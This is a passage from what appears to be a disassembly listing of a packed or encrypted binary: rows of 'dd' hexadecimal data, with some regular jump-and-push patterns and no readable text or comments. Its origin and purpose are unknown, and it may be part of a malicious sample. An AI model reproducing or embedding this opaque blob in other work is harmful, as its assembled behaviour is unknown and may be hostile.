59914FD7h, 0E57DBF66h, 5EB3C181h, 0FB8B0000h, 68h, 6058FC00h dd 1BD5B589h, 858B0612h, 6123181h, 834FF61h, 5EFBB70Fh dd 28818589h, 0C6810612h, 48E412FFh, 1445958Bh, 0F6810612h dd 1E373AECh, 10E960h, 1C140000h, 665177D3h, 126C3F42h dd 0D9BD2E0Fh, 895748B9h, 1234EDBDh dd 81615906h, 0D7E19CC6h, 56F88B01h, 8F0Fh, 48F0000h, 6D858901h dd 0E906121Ch, 9, 0C2A3E728h, 1502E528h, 4E88344h, 16850Fh dd 11E90000h, 0D6000000h, 0A18BC2ACh, 0F0EF1AD1h, 0A7D421E6h dd 0C25AD506h, 0A24CF881h, 850FFFFFh, 28h, 0BE9h, 0D754DB00h dd 334F45B5h, 37861B7Eh, 28E9h, 7643500h, 0F9C06354h, 5A69986Ah dd 73BF51AEh, 775C70C7h, 1E6D9D8Bh, 3EE90612h, 0D7FFFFFFh dd 9C28637Ch, 0BE151CD6h, 538D8DFCh, 1061906h, 1213D58Dh dd 0A18D8906h, 6A061209h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 33DAC352h, 8D896B9Bh dd 612351Dh, 50585C7h, 6E880612h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A11296C3h dd 8D89DF1Ah, 6121B81h, 1BD985C7h, 612h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0C287A4C3h, 31EC8224h, 0DE9h, 6499B900h, 10A5DE2Bh dd 0A9071F37h, 0BD8950F0h, 61209A5h, 2381B5FFh, 8D890612h dd 61229C9h, 1769BD8Bh, 95FF0612h, 6121B31h, 23059529h dd 6A0612h, 19CD95FFh, 0C08B0612h, 270F39EBh, 417F9EAAh dd 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh, 4B45593h dd 899326F9h, 0E28E2120h, 2E3D3F99h, 0E8292E83h, 0FF98F5Ch dd 173B728Fh, 5C15AA6Ch, 0E9D4162Ah, 0CEh, 419B1A0Ah, 0CA459CD7h dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 5 dup(0) dd 6AE90000h, 68000015h, 6190958h, 0F9788CE9h, 0A8168FFh dd 82E90619h, 68FFF978h, 6190B6Ah, 0F97878E9h, 0CDE68FFh dd 6EE90619h, 68FFF978h, 6190D80h, 0F97864E9h, 0E1F68FFh dd 5AE90619h, 68FFF978h, 6190EE0h, 0F97850E9h, 0FB868FFh dd 46E90619h, 68FFF978h, 619109Ch, 0F9783CE9h, 11E968FFh dd 32E90619h, 68FFF978h, 61912C6h, 0F97828E9h, 141B68FFh dd 1EE90619h, 68FFF978h, 619150Bh, 0F97814E9h, 166268FFh dd 0AE90619h, 68FFF978h, 61917A0h, 0F97800E9h, 197468FFh dd 0F6E90619h, 68FFF977h, 6191A83h, 0F977ECE9h, 0C32F22FFh dd 0D7413525h, 0EF514939h, 56B6151h, 1A827767h, 42B00F7Ch dd 5747E54Dh, 6E5EFC60h, 87771575h, 92912F8Dh, 0F98C031h dd 94A77602h, 0B7150F42h, 2CE79A0Ch, 9B6BEE96h, 0FE54E31h dd 3E27B51Bh, 886FDD58h, 0B4AE86F0h, 2823B856h, 0BAED1586h dd 0DF506FE9h, 6FE9BAB7h, 2B7978C6h, 0E632B197h, 0F68E73DBh dd 0CC1DDA4Bh, 0DE2C69FBh, 1139AA33h, 1875FBBCh, 2C7D60CAh dd 75FBBC00h, 0F3C01E16h, 0CC3AAA0h, 25DBDE76h, 10766C2Ch dd 0A0597578h, 0A27B51C0h, 5797EEC2h, 29DEDE30h, 35000000h dd 0F1158C3h, 7FE90DBEh, 0E0636A43h, 11C3C435h, 0FC4A69FBh dd 1E7CA8F9h, 0DBB475FBh, 91D027FBh, 0C217DE2Fh, 0BD000000h dd 7675EA5Ch, 6EE33B24h, 0D4322C04h, 0BE261BD1h, 0AD0B05BBh dd 9CFAF4AAh, 406173FEh, 0B9B36FE9h, 187A7248h, 0E9415D85h dd 861E6C6Fh, 0A4FEF8E8h, 0B5EC85BDh, 0C435E00Ah, 6FE9E69Ch dd 0BABD55A3h, 2AD56C5Fh, 0FBE610B9h, 2DCB1969h, 630E9598h dd 1088C3F2h, 0D17CCA70h, 493E06FBh, 90288881h, 0A8A3378Dh dd 72DADF2Ah, 6757F58Dh, 9E180A72h, 5D79428Ah, 12E4D57Ah dd 74670000h, 867A6A08h, 968E7E1Ch, 0B0A69634h, 0C7BCAC4Ah dd 0F554C15Fh, 8C2A9287h, 0A341A59Ch, 0BC5ABAB3h, 0D674D2CCh dd 0DD0576D7h, 0EC760210h, 1A0F87D9h, 0FF7114B2h, 0C7BE3575h dd 760A6063h, 82ECD4B9h, 0B452B0AAh, 0E0636A60h, 0C737C335h dd 2D237C64h, 3DAF38C3h, 0E4F0E3BFh, 0DA94B19Ah, 744BC3C3h dd 0FEFF72DCh, 0F69FBA7h, 88153DAEh, 0D62475FBh, 0BEEA3B3Eh dd 0F675FB88h, 12693D1Dh, 59DE2FFCh, 0ECh, 0B7150FFFh dd 8B989A0Ch, 0AB67F8D1h, 0B3A85E41h, 0D0CAA04Bh, 1F837A72h dd 9369D2B5h, 5BCE389Ch, 6FE9A449h, 1C1DC638h, 0CD9CC435h dd 55A36FE9h, 6C4007C1h, 0D2302A02h, 0EC4A4434h, 0F0E80E9h dd 9CD13E32h, 0AE9D1A84h, 4EF76813h, 5F69FB61h, 96906611h dd 7A7DE1D8h, 0A4228C24h, 1721C0Fh, 75FB61D9h, 4FFA92E0h dd 1006C0DEh, 1631A370h, 0D37C4553h, 94DEBD27h, 0C1BF998Ah dd 2FDA72EEh, 51FC6459h, 1B1E867Bh, 3ADD5BC5h, 0C41C95C8h dd 349E9DEBh, 0DFF675Ch, 7942F99Fh, 0BBC06548h, 90000011h dd 0A393319Dh, 0B7A745AFh, 0CFBF5DBFh, 0E5D573D9h, 7DEA88F0h dd 53BBB022h, 6ACEC5B5h, 83E3DCCCh, 9DFBF5E5h, 2E9F00FFh dd 76021106h, 0FB00215h, 2414B21Ah, 0CEDED02Ah, 354F028Bh dd 0EA5CFF9Dh, 98F83441h, 235FC958h, 0B4B7150Fh, 8A604FEh dd 13BE2018h, 75DF493Dh, 84E2DC92h, 359894E6h, 8E00AB36h dd 0BE6D723Ch, 0F47FE9ACh, 0FB96E683h, 2C028B69h, 173FD234h dd 2675FB47h, 418F6ED8h, 78C7F447h, 0B82A9E75h, 30E4AAB5h dd 72EF59E2h, 0CB3DE87Bh, 3B60299h, 41CC3693h, 9357E7D0h dd 0FDF4CA5Bh, 0DCDF4139h, 0F65AEE86h, 43F7AF20h, 95736A0h dd 21A0AB06h, 18AC0576h, 5B316187h, 0B493FD67h, 0EBE5BB66h dd 764CEF8Dh, 0C51B1E7Ch, 0E881A91Ah, 3A886188h, 0A0FEF8D0h dd 0A9576CAEh, 57FCDF87h, 10D2h, 7C1A8679h, 902E988Ch dd 0A846A8A0h, 0BE5CC2B8h, 0D371D9CEh, 0A4990B66h, 0B7AE9E3Ch dd 0CCC5B553h, 0E4DECE6Ch, 88E9E886h, 212EF17h, 99EBFE76h dd 0B4B7150Fh, 24CF5259h, 0FB2FAEB3h, 73115F69h, 3E04FAD0h dd 554DE545h, 0A3F9FC5Ch, 32B1BC39h, 55BBB187h, 792FC52h dd 0D546D96h, 2B2E7C70h, 0E90CAEDAh, 2D0DE66Fh, 1D800259h dd 5C49D8h, 6AEF0000h, 0C435E063h, 69FB4BEBh, 648CFD86h dd 6B75FB54h, 86D4B31Dh, 0AC0C05DBh, 71E26B0Eh, 75FB5449h dd 0B97B0650h, 0D60AA332h, 3761D43Eh, 9A75FBDDh, 75889F11h dd 8A15FBFh, 0FB7C4D75h, 0A40E5C75h, 0D674D2CCh, 0E28DEDE6h dd 4AB4120Ch, 2F28FE67h, 0C76CCCFh, 100545h, 636AF300h dd 7530C8E4h, 0C35BD928h, 0C3B98F18h, 1780F35Dh, 2669F006h dd 0CEA42DD8h, 186E71D9h, 7EDCD6AEh, 2BB43DE0h, 20A92BAh dd 0B84B9976h, 76020A90h, 4649B1A6h, 39A3F1F0h, 5E096761h dd 39056ECh, 1781DED6h, 4FD2D934h, 7B7133A4h, 1AF07009h dd 53BCBF23h, 0E984BAE2h, 0DB73C16Fh, 1D87EDE3h, 163EF43Eh dd 6861336Bh, 0B0C7CF92h, 0B34BE34Fh, 0DA383208h, 8C1781D7h dd 0C05EBCB6h, 7578D6D0h, 7A40360Ch, 0C3191C86h, 4944C12Bh dd 65FD655Ah, 0A88849BAh, 73C169FBh, 36B68F81h, 20C5A873h dd 0F5Eh, 0F08EFAEDh, 4A20C00h, 1CBA1C14h, 32D0362Ch, 47E54D42h dd 180D7FDAh, 2B2212B0h, 403929C7h, 585242E0h, 0FC5D5CFAh dd 213638Bh, 5576A76h, 0E9074874h, 0B122AB6Fh, 6FE90789h dd 96BE2F90h, 0A56FE907h, 0D855BF57h, 1AA34ED5h, 0E4E74F44h dd 0E7B1248Eh, 8A69F000h, 0D689001h, 29777602h, 3932E0BFh dd 0C09641D9h, 0E7BD68C6h, 0A2208AF2h, 0D12F29FFh, 24958F67h dd 20D8BB3h, 0AC449276h, 0C45F4EA9h, 35A3A819h, 2DB67014h dd 0F43694BCh, 0E34D9B6Fh, 4AC4B604h, 0E1793E09h, 0EBC59FEh dd 9C8F0000h, 0AEA29230h, 0BEB6A644h, 0D8CEBE5Ch, 0EFE4D472h dd 1D7CE987h, 0B452BAAFh, 0CB69CDC4h, 0E482E2DBh, 0FE9CFAF4h dd 52D9EFFh, 14760214h, 150FAF01h, 4FEB4B7h, 0CF86A3A6h dd 7EC41BEFh, 460BD81Dh, 62000009h, 0CA34928Ch, 0E0636A8Eh dd 173AAC35h, 888346FFh, 0AD94CB6h, 7769F053h, 4346AAA1h dd 0A9D142EDh, 0B076025Bh, 0CB19F862h, 92504A20h, 0E335389Ah dd 0AC068959h, 0A941D99Dh, 0C3211B0Bh, 5F436FC0h, 0B9B47602h dd 90E7F2Ah, 38701488h, 0C80CF8EAh, 280B793Dh, 0E1D83h dd 0CF3B2E00h, 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h dd 4EBC1B88h, 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h dd 15A4CC3Dh, 98AB7602h, 0B7150F46h, 5CD94BB4h, 5B83F406h dd 626FE9E3h, 0B9528014h, 0AF150B03h, 14EC56ACh, 3B11BC1Ah dd 9174DE46h, 5BDDBD74h, 0ADE3FEE9h, 0CF39290Eh, 1E739BF2h dd 883E2D8h, 74880000h, 6FE90748h, 842FB2B9h, 0F0010413h dd 10BB0969h, 8E82403Ah, 0D4322C24h, 45E37BD1h, 52FD5B55h dd 1F22847Ch, 217C5FC9h, 0B4AE842Ah, 0D9BC356h, 54A27602h dd 9BA011BCh, 0FE701435h, 20CB3328h, 0F43687AFh, 0DE48966Fh dd 33BFB1FFh, 0C8793E09h, 0D5C40E5h, 0FCEF0000h, 0E02F290h dd 1E1606A4h, 382E1EBCh, 4F4434D2h, 7DDC49E7h, 14B21A0Fh dd 2BC92D24h, 44E2423Bh, 5EFC5A54h, 658DFE5Fh, 74760215h dd 0D35C0F61h, 0E9073A62h, 89F3416Fh, 0FFF9B7B1h, 0E0E34D41h dd 575AF28Ah, 0BB2318EEh, 0B6DE4FB8h, 0C56FE907h, 9D75DF77h dd 254245A3h, 360C8E6Eh, 0A6A5DD41h, 0FA6B4FD6h, 0C41BF862h dd 0B9D81E3Bh, 878AEAE3h, 0B28EC731h, 34000007h, 3A62D35Ch dd 416FE907h dd 96A0E1F7h, 861EB26Bh, 0B5AC9F1Ch, 70655DBBh, 3CC57008h dd 0CF0F96CAh, 1F890ADEh, 0F0E184ACh, 923D8B69h, 0C664C2BCh dd 7B7EDCD6h, 2DEFE2Ah, 0E57C6F76h, 2B76C83Ah, 2FA8E423h dd 78CED13Bh, 7AEB76E0h, 7014A375h, 94544694h, 53793DDBh dd 0C84CB70h, 0D4C70000h, 0E6DACA68h, 0F6EEDE7Ch, 1006F694h dd 271C0CAAh, 55B421BFh, 0EC8AF2E7h, 3A105FCh, 1CBA1A13h dd 36D4322Ch, 3D65D637h, 4C760216h, 150FE739h, 4FEB4B7h dd 2B25FBA6h, 0A74CACDh, 157B7127h, 0EB685C12h, 0E907527Ah dd 730B596Fh, 7C5C1370h, 0BC54B4ADh, 0F2C6A65Dh, 0D81D7E9Bh dd 6F0E2h, 3FB03900h, 6FE8FF17h, 326ED826h, 0D94AD35Ch dd 6FE907B1h, 0AFD76AB8h, 0BE6FE907h, 6A930670h, 0D56FE907h dd 696238D6h, 1DB00609h, 6FE907F5h, 731EB604h, 0F000F502h dd 9E0F9869h, 76020D76h, 0EECD3785h, 251FF5A0h, 22931CC7h dd 76020DFAh, 0ACAB1308h, 8676F45Eh, 0D02B2E8Ch, 9AC233DDh dd 0A176020Dh, 9F10BB53h, 70142712h, 2951C223h, 306FF427h dd 0E584AE2h, 4D793E19h, 0BA0C56Ah, 0B8AB0000h, 0CABEAE4Ch dd 0DAD2C260h, 0F4EADA78h, 0B00F08Eh, 399805A3h, 0D06ED6CBh dd 0E785E9E0h, 9EFEF7h, 1AB81610h, 2149BA1Bh, 28760217h dd 150FC315h, 4FEB4B7h, 0CE87A3A6h, 0C7251FEEh, 7ADD3429h dd 60D2D81Dh, 0D5BEFA8Fh, 0DD1680B5h, 14Bh, 123AAB34h dd 206FE86Fh, 18C6C529h, 63B9BC22h, 0F2561CBh, 0B33A415h dd 126FE907h, 0AB812CC4h, 0F94F52B2h, 0FCF6AC8Fh, 606B009Eh dd 0D7AD36E1h, 207679E3h, 65CF2F28h, 0FB1E35F2h, 13166469h dd 0FB2296C2h, 15F5CE75h, 2F99EA41h, 3731DEh, 6AD70000h dd 0C435E063h, 69FB11C3h, 5078E94Ah, 5F75FB1Eh, 25767911h dd 75FB1DF9h, 0A4785831h, 0DE2F924Dh, 2048B942h, 2F75FB12h dd 0B13E77E1h, 95000000h, 0FA64C8BFh, 0B7150FBEh, 0A109FEB4h dd 94EEE89Eh, 0F5E0E8A9h, 69CFA449h, 0F89EE67Ah, 75DFD3CBh dd 2A24DADDh, 81A32ECCh, 936FE952h, 7EE6DB99h, 0EF8D257Bh dd 7C70535Ah, 21B90F12h, 0BC650576h, 43A469FDh, 4E461DD1h dd 8417D962h, 75FD235Ch, 1211716Ah, 231840B1h, 0D92775FDh dd 28FEA941h, 4A20CB33h, 583ED55h, 0C6B82015h, 73351C96h dd 5329CEB1h, 0F800000Ah, 0BFB9905h, 1F0FAD17h, 3727C527h dd 4D3DDB41h, 0E552F058h, 0BB23188Ah, 0D2362D1Dh, 0EB4B4434h dd 5635D4Dh, 96076867h, 7602186Eh, 0F186A7Dh, 2414B21Ah dd 0DA2ECC2Ah, 0B4B7150Fh, 8A604FEh, 3693F365h, 9683E3C8h dd 4D3652Ch, 5C130000h, 292C8E86h, 7274FC0h, 0E8366FE9h dd 6269E650h, 32C334DFh, 0FB69FB1Fh, 0B841AAADh, 0FB1F1F47h dd 0DD3B3575h, 378584DAh, 1F2E5ACDh, 8D6675FBh, 5E552BADh dd 1D8EF7FAh, 75FB1FF5h, 0B41EB604h, 2F9280D7h, 0A69F75DEh dd 0F9A3DC46h, 49000001h, 2E8C865Ch, 72A51C4h, 96956FE9h dd 0E8EF600Bh, 3569F000h, 6C663CE7h, 8680700Eh, 0C3CA2528h dd 97249540h, 0FA701427h, 0C8CB2B24h, 0DB290872h, 3E1961E9h dd 42E7CA79h, 976h, 0D876E2D5h, 0EC8AF4E8h, 4A204FCh, 1AB81E14h dd 2FCD352Ah, 0F567C2h, 130AFA98h, 282111AFh, 403A2AC8h dd 0E44544E2h, 2194B73h, 0ED3F5276h, 0B4B7150Fh, 0A3A604FEh dd 1FEECE87h, 3429C725h, 0D81D7ADDh, 0A604FCD2h, 0B662242Bh dd 0D943DB71h, 167A0h, 0D35C4600h, 0E9073A62h, 89F3416Fh dd 5659B7B1h, 0F3E8A6A0h, 0C055F38Bh, 28B36CDh, 0CBCE382Ch dd 0DB980B75h, 0EA69FB1Dh, 0A730999Ch, 0FB220E36h, 766F1D75h dd 62D37E16h, 75FB223Ah, 1689F341h, 75FB22EAh, 0E7694922h dd 59F42275h, 305CBB2Bh, 9F836D96h, 0D9B620B8h, 0DE2FBF82h dd 3AC9h, 636A6F00h, 0D6AC35E0h, 9D107AE0h, 69FB119Ch dd 0B5C5FADh, 75FB1EDFh, 9699FFF5h, 7F82ECE0h, 1C8B6B22h dd 0B98D6D46h, 0DE2F9262h, 0B3A9h, 0DE8E0000h, 47388F82h dd 0FC5016Bh, 0FEB4B715h, 9EFDA509h, 0FF5A6AAEh, 0B4AE6467h dd 5AAD243h, 63B16FEAh, 51F47B8h, 0E02E6FEAh, 958F4548h dd 0DC0E9937h, 0F26FEA54h, 66EF9AF8h, 0E9B4CDF5h, 3A2EDC6Fh dd 50CE38D0h, 8631B0BBh, 0FE5B7515h, 9B469469h, 0CA68D0C5h dd 52D9E27h, 1475FD0Dh, 8F845CC6h, 330B3527h, 290C7335h dd 82184h, 0CB372A00h, 0DF493D2Dh, 0F7595141h, 0D736959h dd 228A7F6Fh, 4AB81784h, 5F4FED55h, 76660468h, 8F7F1D7Dh dd 9A993795h, 1BA0C839h, 9CAF7602h, 0B21A0F4Ah, 0E50D7E07h dd 0F46FE907h, 0CEBE3CA6h, 84D876D4h, 0B4B7150Fh, 2951C24Bh dd 306FE907h, 91298982h, 0F7554F27h, 2744B659h, 64F856C1h dd 8A7C43ADh, 2A000002h, 35E0636Ah, 0F00257C4h, 28B13A69h dd 20E8FB7h, 0BD509E76h, 76020E95h, 0DEC56A4h, 0CA53BCBFh dd 20E3159h, 80EA3876h, 20EE10Dh, 60401976h, 3682358Ch dd 2067CDEh, 5C220000h, 0DE2C9286h, 157E8B0Bh, 0D88E9129h dd 277D80DEh, 4B73E48Fh, 526FE937h, 279A04h, 6F6FE937h dd 0C93AE57Ch, 69F03264h, 9B01F7A5h, 88825803h, 0A29C8C2Ah dd 0E7E64144h, 0B340B15Ch, 82701457h, 27FC4234h, 2C0F793Eh dd 73187h, 0BB271A00h, 0CF392D1Dh, 0E7494131h, 0FD635949h dd 127A6F5Fh, 3AA80774h, 4F3FDD45h, 6656F458h, 7F6F0D6Dh dd 8A892785h, 1C90B829h, 8C9F7602h, 0B7150F3Ah, 0DE3C360Ch dd 0E1DB9174h, 0AB648083h, 0A402FCCBh, 7ABA1106h, 3DAFD81Dh dd 0FF938AE4h, 0EA544843h, 1F991E7h, 13AA40Ch, 158h, 62D35CA7h dd 6FE9073Ah, 0B189F341h, 25185DB7h, 31A5064Fh, 46DE4239h dd 0C04DA43h, 6E6840AAh, 5DCF7210h, 7E54441Bh, 40BD2700h dd 9A0BB64Dh, 69FBC2DDh, 4A9B9EECh, 75FBC51Eh, 1B9D7D56h dd 0AD51FEA9h, 2D9769ECh, 3032F950h, 4940DEh, 5CE60000h dd 8B328C86h, 3924C234h, 0D24FB951h, 7EF24CDBh, 99C3EEA7h dd 0E4E55601h, 2569FB17h, 0C6A0AEDBh, 0FB7C2D55h, 5AEE3C75h dd 6BD9D4A0h, 0CB0F1CA5h, 70AA23Ah, 0FB188AB6h, 9E9C275h dd 2F8BDE35h, 9725DEh, 0FCB0000h, 0FEB4B715h, 0E89EA109h dd 0D78D90EEh, 3EE17FDDh, 4C781DCCh, 40AAECFFh, 0E9B38BCDh dd 69C7C16Fh, 5D5228CBh, 329CF2F5h, 802BB6B5h, 0FDFA6F0Fh dd 0A5509E69h, 1A12DACFh, 9F7520B8h, 89EFE5A7h, 0ED98EEF1h dd 0FDEE547Ch, 0A30D5B75h, 0D8403525h, 34514EE6h, 21C6A973h dd 5DAh, 74127E71h, 88269084h, 0A03EA098h, 0B654BAB0h dd 0CB69D1C6h, 9C91035Eh, 0AFA69634h, 0C4BDAD4Bh, 0DCD6C664h dd 80E1E07Eh, 21DE70Fh, 91E3F676h, 14B21A0Fh, 2ECC2A24h dd 0B7150FDAh, 0A604FEB4h, 632908h, 0FF880000h, 7DD0576h dd 9EEC6FE9h, 0E907E30Bh, 6698556Fh, 19AF6ECFh, 2662CC1Ah dd 2892865Ch, 0B324CF25h, 6FE9078Bh, 2DA4492h, 0DF00AE08h dd 0E882BB39h, 0EE44D50h, 744CB614h, 0BC191C7Ah, 5C562505h dd 59CA53FEh, 6FE95D31h, 5DF31B8Ch, 0ACFA6FE9h, 77F55FADh dd 2F98h, 2C21F700h, 16BC1C4h, 62D35CC5h, 6FE9073Ah, 0B189F341h dd 55659B7h, 6FE907D8h, 0A77656F5h, 0EB14FADh, 0DBDE4038h dd 0CACD2B25h, 3672DC74h, 2E8C865Ch, 936BD52Bh, 8FB72899h dd 9E6FE907h, 0FA92FCF0h, 9045F62h, 26BE241Ah, 2A10A7Bh dd 5AA869F0h, 81DFD9AFh, 9BF9F3E3h, 0B34E3D98h dd 7D59708h, 0A2F07009h, 692721F7h, 0B2080B75h, 928C7C1Ah dd 0D7D63134h, 0E849B150h, 9C345801h, 6EDF68F1h, 6FE98B46h dd 2A9D0755h, 69FB9A69h, 426052A0h, 197336A4h, 49C9136h dd 0BCAF0000h, 0CEC2B250h, 0DED6C664h, 0F8EEDE7Ch, 0F04F492h dd 3D9C09A7h, 0D472DACFh, 0EB89EDE4h, 4A202FBh, 1EBC1A14h dd 254DBE1Fh, 3476021Eh, 150FCF21h, 3E360CB7h, 1983D9DCh dd 2A22F89Bh, 8C865EC8h, 7B752B2Eh, 5500721Dh, 74B4044Ch dd 7C987BE5h, 1A14E3C3h, 67FF675Ch, 237DD4C9h, 3DC4D81Eh dd 6A000000h, 35E0636Ah, 0FB4BEBC4h, 39E43269h, 6C0A6A63h dd 0FB54B7E1h, 75D3CD75h, 97FFF4CAh, 0C6BFAF2Dh, 0C132BB66h dd 75FB5499h, 94FEF2A0h, 0ABA33B91h, 0F94F52B2h, 0FB07AC8Fh dd 0B5000003h, 0B4B7150Fh, 0FBA604FEh, 0D5CD2B25h, 1F7578E0h dd 0ABA237B5h, 3FFC6D18h, 4E69FB1Eh, 80ACFD00h, 9675FB22h dd 81373AA0h, 67CFC48Ch, 0AF68CCCFh, 0B4DC4DCFh, 0BB75FB22h dd 26FFD56Dh, 9A1B7246h, 2062DE2Fh, 8000000h, 35E0636Ah dd 0FB11C3C4h, 0F9FC4A69h, 0FB1E7CA8h, 0FBDBB475h, 2F91D027h dd 10517DEh, 0FBD0000h, 830CB715h, 0E907EA12h, 39A3F16Fh dd 997BED56h, 179F1690h, 938860CAh, 0E9BF282Bh, 1F888BF5h dd 0E9C986AEh, 0AF47956Fh, 0C96B9304h, 24726FE9h, 8AE8E2BAh dd 79D7D187h, 0C43E50DBh, 0AB1D6FE9h, 3FB0A190h, 6FE98317h dd 7944D826h, 6ED8CC29h, 137D156Bh, 5FD0413Bh, 6FE9FB37h dd 0B560F846h, 0FB93BB2Ch, 4C9A6FE9h, 7A7464E2h, 0C75FC7BCh dd 0DF6269C4h, 190AC334h, 0DE6769FCh, 0FBDD456Dh, 0E065475h dd 57ADB01Ah, 3CAD0EEDh, 75FBDD14h, 2149BA1Bh, 2875FBDDh dd 0CAA42DAh, 988D7477h, 3FD72D30h, 7F8D2394h, 42907010h dd 4CCC197h, 7210A80Eh, 0A1FFF9CFh, 6DE489Eh, 0E1B7A911h dd 667942BFh, 2C8DE83h, 90830000h, 0A2968624h, 0B2AA9A38h dd 0CCC2B250h, 0E3D8C866h, 1170DD7Bh, 0A846AEA3h, 0BF5DC1B8h dd 0D876D6CFh, 0F290EEE8h, 0F92192F3h, 760220h, 1A0F9BEDh dd 2A2414B2h, 5CDA2ECCh, 0A107FDD3h, 0E907E60Eh, 3DA7F56Fh dd 8B36CDC0h, 0F25CBCB5h, 11F5F667h, 0C61469FBh, 8B845AC3h dd 224EC12Bh, 5A75FB1Eh, 76CDA181h, 0BDDE2F91h, 0E4h, 62D35C63h dd 6FE9073Ah, 31997CACh, 1007E53h, 777149B3h, 585BC5B9h dd 1D1C6C06h, 0FA7EEFCh, 0C9BE7477h, 0DA50B01h, 35A7B90Ah dd 938D6FE9h, 0ADA79735h, 0FAF14C4Fh, 0F7A8406Bh, 1105A232h dd 0B64EA4A7h, 6063C7BEh, 3EC7720Ah, 851C44B5h, 6776FE9h dd 6FE985DEh, 52A09FEDh, 72D23BBEh, 0E953AB2Eh, 0FB9ABD76h dd 554A2069h, 2A94EAEDh, 0CA5FFD4Bh, 249540C3h, 701002EDh dd 6EF7A2F0h, 0F006D5FDh, 3E36E46Fh, 0EB83D9DCh, 2B20F681h dd 403525C3h, 38B0E6D8h, 0A88B7942h, 1B903h, 339F9200h dd 47B1A595h, 5FC1B9A9h, 75DBD1C1h, 8AF2E7D7h, 0B2207FECh dd 0C7B755BDh, 0DECE6CD0h, 0F7E785E5h, 2019FFDh, 210830A1h dd 4177602h, 521A0FB2h, 41F7FA58h, 90E6E947h, 0D2C260F8h dd 88DC7AD8h, 0B4B7150Fh, 229304FEh, 6FE907FAh, 7D1BB301h dd 3235938Dh, 0A24DD4D7h, 0FB003031h, 0E08BD969h, 0AEB1110Ah dd 0B40BEE58h, 0E911820Bh, 0F075FB0Dh, 0B79738A2h, 16B5F35h dd 67C5BF97h, 75F2E6BCh, 0FB0DDC04h, 0FD95E375h, 0BC3AA4FAh dd 0F29D2427h, 0BDC0261Ch, 0BFE2D367h, 0EF85999h, 0ABA819A4h dd 5A700D3Ch, 5953090Ch, 8EDE50FBh, 0A92ABF70h, 5A10F35Dh dd 47FD0062h, 91E8EB51h, 0E483F2D2h, 2149BA43h, 286FE97Eh dd 7E2E56C7h, 0EF3D6FE9h, 6C4CED57h, 0C36EF5F8h, 0FB865552h dd 0BB60469h, 71153A99h, 42AC28E7h, 564B21C4h, 0B2AC84EEh dd 0A29B5154h, 9D0E9742h, 75FBD575h, 2D30948Bh, 208AD8D7h dd 0CB3DE63Dh, 1E9319E4h, 9DC53617h, 0AC75FBC9h, 0BB5CC65Eh dd 0B4120CDBh, 0A59D7316h, 80EA4043h, 0CE790803h, 0DC25C5Dh dd 9C9FED70h, 8B8EECE6h, 777ADED5h, 6467C9C1h, 7A4929A2h dd 0EF882082h, 0D1DC5030h, 3536A752h, 0D469FBC4h, 30C83226h dd 51BBAF85h, 3CA2984Eh, 27BC3AA4h, 0CE473D24h, 0FBC9355Dh dd 5EF64475h, 0F4AA1BC6h, 1B7002C2h, 1A14CACDh, 3635Ch dd 847412AAh, 0D8292C8Ah, 2876C67Eh, 835232E9h, 9D8D2B89h dd 8C4245A3h, 0D62D3096h, 6E683717h, 0F9CF7210h, 469C9F01h dd 0AC0A04DCh, 804A9h, 5CB20000h, 0C32D8D86h, 1C0F3571h dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h dd 9E944A4Dh, 877F3538h, 786C2225h, 684D0B0Eh, 2557h, 68243489h dd 3A76h, 51240C89h, 0C181E189h, 4, 4E981h, 0C870000h dd 14895C24h, 4EC8324h, 0BD242C89h, 2B417774h, 5A7F87B9h dd 5DE92931h, 24148B54h, 5304C483h, 8BBh, 51D30100h, 8B5B038Fh dd 89522414h, 4C281E2h, 83000000h, 148704C2h, 34FF5C24h dd 0C4815924h, 4, 0F96330E9h, 0E6BF9EFFh, 1C61B846h, 0C5030619h dd 0D1F2E0FFh, 1CD37722h, 9F4D019Bh, 41413FF6h, 3A662377h dd 0D9720646h, 34C63D7h, 9E0300E6h, 355746BCh, 528C4C68h dd 0C49924D7h, 0D5B13EB3h, 0C16D6CC1h, 335355F7h, 5301030Dh dd 970B78F0h, 0F3897200h, 1C2861C1h, 43F20B2Bh, 32FD6330h dd 0FEEE0F8Ah, 4A094AA8h, 8F3B771Bh, 85C66C12h, 6122871h dd 30DF6856h, 0B5FFA9C5h, 61230E9h, 7F35858Dh, 0D0FF0615h dd 0A118D8Dh, 6A510612h, 0C9B5FF40h, 0FF061203h, 122921B5h dd 0FFD0FF06h, 1203C9B5h, 21B5FF06h, 0E8061229h, 0Dh, 1D35A147h dd 5A6D0E90h, 0C927042Ah, 83595904h, 2CC104E9h, 24C10224h dd 0C030224h, 241CF724h, 148BDB2Bh, 81F28119h, 815D8C5Bh dd 0EEE1FDEAh, 0BBC28177h, 8930EAABh, 0EB831914h, 241C3B04h dd 0FFDC850Fh, 9D8DFFFFh, 6122AA1h, 0C00B038Bh, 7840Fh dd 38B0000h, 89045B8Bh, 0E9C98B18h, 15Fh, 60D48B52h, 0E8h dd 0ED815D00h, 6191DE7h, 3D08428Bh, 78263845h, 138850Fh dd 428B0000h, 184A8B0Ch, 0C3BBC8D3h, 3350B8B2h, 4E883C3h dd 9A18589h, 588B0612h, 8BF88B04h, 4A8B1042h, 0BEC8D318h dd 0E2B46989h, 0C72BC633h, 